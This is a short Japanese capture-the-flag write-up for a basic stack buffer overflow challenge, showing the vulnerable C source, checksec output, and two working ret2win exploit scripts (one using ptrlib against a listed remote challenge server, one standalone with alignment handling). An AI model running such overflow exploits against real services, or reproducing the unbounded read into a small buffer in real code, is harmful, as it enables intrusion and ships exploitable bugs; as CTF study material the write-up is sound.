スタックとリターンアドレスを確認しましょう
抜粋
void win() {略} # print(flag)
int main() {
char buf[10] = {0};
printf("input:");
read(0, buf, 0x20);
printf("Hello, %s\\n", buf);
printf("return to: 0x%lx\\n", *(uint64_t *)(((void *)buf) + 18));
return 0;
}
checksec
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
bufにBOFあり。
No PIEなのでリターンアドレスをwin関数へ書き換える。
リターンアドレスはgefでp winして確認したり、ptrlibでelf.symbol(”win”)してやればよい。
from ptrlib import *
FILE_NAME = './chall'
elf = ELF(FILE_NAME)
io = Socket("nc 34.170.146.252 59419")
payload = b"A"*18
payload += p64(elf.symbol("win"))
io.sendline(payload)
io.interactive()
長っ!て思ったけどアライメント対策してて偉い
#!/usr/bin/env python3
import argparse
import socket
import struct
import subprocess
import sys
OFFSET = 0x12 # buf先頭 → saved RIP(ソースの *(buf+18) と一致)
WIN = 0x401186 # nmで確認できる win のアドレス(No PIE)
TARGET = WIN + 1 # push rbp をスキップして16byteアラインメントを合わせる
def p64(x: int) -> bytes:
return struct.pack("<Q", x)
def payload() -> bytes:
return b"A" * OFFSET + p64(TARGET)
def recv_until(sock, token: bytes) -> bytes:
data = b""
while not data.endswith(token):
b = sock.recv(1)
if not b:
break
data += b
return data
def run_remote(host: str, port: int):
s = socket.create_connection((host, port))
pre = recv_until(s, b"input:")
s.sendall(payload())
out = b""
while True:
chunk = s.recv(4096)
if not chunk:
break
out += chunk
sys.stdout.buffer.write(pre + out)
def run_local(binpath: str):
p = subprocess.Popen([binpath], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
# "input:" まで読む
pre = b""
while not pre.endswith(b"input:"):
c = p.stdout.read(1)
if not c:
break
pre += c
p.stdin.write(payload())
p.stdin.flush()
rest = p.stdout.read() # EOF(クラッシュ)まで読む
sys.stdout.buffer.write(pre + rest)
def main():
ap = argparse.ArgumentParser()
ap.add_argument("host", nargs="?", help="remote host")
ap.add_argument("port", nargs="?", type=int, help="remote port")
ap.add_argument("--local", action="store_true", help="run locally")
ap.add_argument("--bin", default="./chall", help="local binary path (default: ./chall)")
args = ap.parse_args()
if args.local or (args.host is None and args.port is None):
run_local(args.bin)
else:
if args.host is None or args.port is None:
ap.error("remoteは host と port を指定してね")
run_remote(args.host, args.port)
if __name__ == "__main__":
main()